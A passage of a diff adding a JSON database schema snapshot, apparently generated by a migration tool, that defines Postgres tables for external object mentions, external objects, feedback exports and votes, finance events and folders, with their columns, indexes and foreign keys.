+ }, + "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk": { + "name": "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk", + "tableFrom": "execution_workspaces", + "columnsFrom": [ + "derived_from_execution_workspace_id" + ], + "tableTo": "execution_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.external_object_mentions": { + "name": "external_object_mentions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_issue_id": { + "name": "source_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_kind": { + "name": "source_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_record_id": { + "name": "source_record_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "document_key": { + "name": "document_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "property_key": { + "name": "property_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "matched_text_redacted": { + "name": "matched_text_redacted", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sanitized_display_url": { + "name": "sanitized_display_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "canonical_identity_hash": { + "name": "canonical_identity_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "canonical_identity": { + "name": "canonical_identity", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "object_id": { + "name": "object_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "provider_key": { + "name": "provider_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "detector_key": { + "name": "detector_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "object_type": { + "name": "object_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "confidence": { + "name": "confidence", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'exact'" + }, + "created_by_plugin_id": { + "name": "created_by_plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "external_object_mentions_company_source_issue_idx": { + "name": "external_object_mentions_company_source_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "external_object_mentions_company_object_idx": { + "name": "external_object_mentions_company_object_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "object_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "external_object_mentions_company_provider_idx": { + "name": "external_object_mentions_company_provider_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "object_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "external_object_mentions_company_source_record_uq": { + "name": "external_object_mentions_company_source_record_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_record_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "document_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "property_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "canonical_identity_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"external_object_mentions\".\"source_record_id\" is not null and \"external_object_mentions\".\"canonical_identity_hash\" is not null", + "concurrently": false + }, + "external_object_mentions_company_source_null_record_uq": { + "name": "external_object_mentions_company_source_null_record_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "document_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "property_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "canonical_identity_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"external_object_mentions\".\"source_record_id\" is null and \"external_object_mentions\".\"canonical_identity_hash\" is not null", + "concurrently": false + } + }, + "foreignKeys": { + "external_object_mentions_company_id_companies_id_fk": { + "name": "external_object_mentions_company_id_companies_id_fk", + "tableFrom": "external_object_mentions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "external_object_mentions_source_issue_id_issues_id_fk": { + "name": "external_object_mentions_source_issue_id_issues_id_fk", + "tableFrom": "external_object_mentions", + "columnsFrom": [ + "source_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "external_object_mentions_object_id_external_objects_id_fk": { + "name": "external_object_mentions_object_id_external_objects_id_fk", + "tableFrom": "external_object_mentions", + "columnsFrom": [ + "object_id" + ], + "tableTo": "external_objects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "external_object_mentions_created_by_plugin_id_plugins_id_fk": { + "name": "external_object_mentions_created_by_plugin_id_plugins_id_fk", + "tableFrom": "external_object_mentions", + "columnsFrom": [ + "created_by_plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.external_objects": { + "name": "external_objects", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "provider_key": { + "name": "provider_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "object_type": { + "name": "object_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "external_id": { + "name": "external_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sanitized_canonical_url": { + "name": "sanitized_canonical_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "canonical_identity_hash": { + "name": "canonical_identity_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "display_key": { + "name": "display_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "icon_key": { + "name": "icon_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "display_title": { + "name": "display_title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status_key": { + "name": "status_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status_label": { + "name": "status_label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status_icon_key": { + "name": "status_icon_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status_category": { + "name": "status_category", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "status_tone": { + "name": "status_tone", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'neutral'" + }, + "liveness": { + "name": "liveness", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "is_terminal": { + "name": "is_terminal", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "data": { + "name": "data", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "remote_version": { + "name": "remote_version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "etag": { + "name": "etag", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_resolved_at": { + "name": "last_resolved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_changed_at": { + "name": "last_changed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_error_at": { + "name": "last_error_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "next_refresh_at": { + "name": "next_refresh_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "refresh_started_at": { + "name": "refresh_started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "refresh_token": { + "name": "refresh_token", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_error_code": { + "name": "last_error_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_error_message": { + "name": "last_error_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "external_objects_company_provider_object_idx": { + "name": "external_objects_company_provider_object_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "object_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "external_objects_company_provider_status_idx": { + "name": "external_objects_company_provider_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status_category", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "external_objects_company_refresh_idx": { + "name": "external_objects_company_refresh_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "next_refresh_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "external_objects_company_external_id_uq": { + "name": "external_objects_company_external_id_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "object_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "external_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "external_objects_company_identity_uq": { + "name": "external_objects_company_identity_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "object_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "canonical_identity_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "external_objects_company_id_companies_id_fk": { + "name": "external_objects_company_id_companies_id_fk", + "tableFrom": "external_objects", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "external_objects_plugin_id_plugins_id_fk": { + "name": "external_objects_plugin_id_plugins_id_fk", + "tableFrom": "external_objects", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.feedback_exports": { + "name": "feedback_exports", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "feedback_vote_id": { + "name": "feedback_vote_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "author_user_id": { + "name": "author_user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_id": { + "name": "target_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "vote": { + "name": "vote", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'local_only'" + }, + "destination": { + "name": "destination", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "export_id": { + "name": "export_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "consent_version": { + "name": "consent_version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "schema_version": { + "name": "schema_version", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'paperclip-feedback-envelope-v2'" + }, + "bundle_version": { + "name": "bundle_version", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'paperclip-feedback-bundle-v2'" + }, + "payload_version": { + "name": "payload_version", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'paperclip-feedback-v1'" + }, + "payload_digest": { + "name": "payload_digest", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "payload_snapshot": { + "name": "payload_snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "target_summary": { + "name": "target_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "redaction_summary": { + "name": "redaction_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "attempt_count": { + "name": "attempt_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_attempted_at": { + "name": "last_attempted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "exported_at": { + "name": "exported_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "feedback_exports_feedback_vote_idx": { + "name": "feedback_exports_feedback_vote_idx", + "columns": [ + { + "expression": "feedback_vote_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "feedback_exports_company_created_idx": { + "name": "feedback_exports_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "feedback_exports_company_status_idx": { + "name": "feedback_exports_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "feedback_exports_company_issue_idx": { + "name": "feedback_exports_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "feedback_exports_company_project_idx": { + "name": "feedback_exports_company_project_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "feedback_exports_company_author_idx": { + "name": "feedback_exports_company_author_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "author_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "feedback_exports_company_id_companies_id_fk": { + "name": "feedback_exports_company_id_companies_id_fk", + "tableFrom": "feedback_exports", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "feedback_exports_feedback_vote_id_feedback_votes_id_fk": { + "name": "feedback_exports_feedback_vote_id_feedback_votes_id_fk", + "tableFrom": "feedback_exports", + "columnsFrom": [ + "feedback_vote_id" + ], + "tableTo": "feedback_votes", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "feedback_exports_issue_id_issues_id_fk": { + "name": "feedback_exports_issue_id_issues_id_fk", + "tableFrom": "feedback_exports", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "feedback_exports_project_id_projects_id_fk": { + "name": "feedback_exports_project_id_projects_id_fk", + "tableFrom": "feedback_exports", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.feedback_votes": { + "name": "feedback_votes", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_id": { + "name": "target_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "author_user_id": { + "name": "author_user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "vote": { + "name": "vote", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "shared_with_labs": { + "name": "shared_with_labs", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "shared_at": { + "name": "shared_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "consent_version": { + "name": "consent_version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "redaction_summary": { + "name": "redaction_summary", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "feedback_votes_company_issue_idx": { + "name": "feedback_votes_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "feedback_votes_issue_target_idx": { + "name": "feedback_votes_issue_target_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "feedback_votes_author_idx": { + "name": "feedback_votes_author_idx", + "columns": [ + { + "expression": "author_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "feedback_votes_company_target_author_idx": { + "name": "feedback_votes_company_target_author_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "author_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "feedback_votes_company_id_companies_id_fk": { + "name": "feedback_votes_company_id_companies_id_fk", + "tableFrom": "feedback_votes", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "feedback_votes_issue_id_issues_id_fk": { + "name": "feedback_votes_issue_id_issues_id_fk", + "tableFrom": "feedback_votes", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.finance_events": { + "name": "finance_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "goal_id": { + "name": "goal_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "heartbeat_run_id": { + "name": "heartbeat_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "cost_event_id": { + "name": "cost_event_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "billing_code": { + "name": "billing_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "event_kind": { + "name": "event_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "direction": { + "name": "direction", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'debit'" + }, + "biller": { + "name": "biller", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "execution_adapter_type": { + "name": "execution_adapter_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pricing_tier": { + "name": "pricing_tier", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "region": { + "name": "region", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "model": { + "name": "model", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "quantity": { + "name": "quantity", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "unit": { + "name": "unit", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "amount_cents": { + "name": "amount_cents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "currency": { + "name": "currency", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'USD'" + }, + "estimated": { + "name": "estimated", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "external_invoice_id": { + "name": "external_invoice_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata_json": { + "name": "metadata_json", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "occurred_at": { + "name": "occurred_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "finance_events_company_occurred_idx": { + "name": "finance_events_company_occurred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "finance_events_company_biller_occurred_idx": { + "name": "finance_events_company_biller_occurred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "biller", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "finance_events_company_kind_occurred_idx": { + "name": "finance_events_company_kind_occurred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "event_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "finance_events_company_direction_occurred_idx": { + "name": "finance_events_company_direction_occurred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "direction", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "finance_events_company_heartbeat_run_idx": { + "name": "finance_events_company_heartbeat_run_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "heartbeat_run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "finance_events_company_cost_event_idx": { + "name": "finance_events_company_cost_event_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "cost_event_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "finance_events_company_id_companies_id_fk": { + "name": "finance_events_company_id_companies_id_fk", + "tableFrom": "finance_events", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "finance_events_agent_id_agents_id_fk": { + "name": "finance_events_agent_id_agents_id_fk", + "tableFrom": "finance_events", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "finance_events_issue_id_issues_id_fk": { + "name": "finance_events_issue_id_issues_id_fk", + "tableFrom": "finance_events", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "finance_events_project_id_projects_id_fk": { + "name": "finance_events_project_id_projects_id_fk", + "tableFrom": "finance_events", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "finance_events_goal_id_goals_id_fk": { + "name": "finance_events_goal_id_goals_id_fk", + "tableFrom": "finance_events", + "columnsFrom": [ + "goal_id" + ], + "tableTo": "goals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "finance_events_heartbeat_run_id_heartbeat_runs_id_fk": { + "name": "finance_events_heartbeat_run_id_heartbeat_runs_id_fk", + "tableFrom": "finance_events", + "columnsFrom": [ + "heartbeat_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "finance_events_cost_event_id_cost_events_id_fk": { + "name": "finance_events_cost_event_id_cost_events_id_fk", + "tableFrom": "finance_events", + "columnsFrom": [ + "cost_event_id" + ], + "tableTo": "cost_events", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.folders": { + "name": "folders", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + 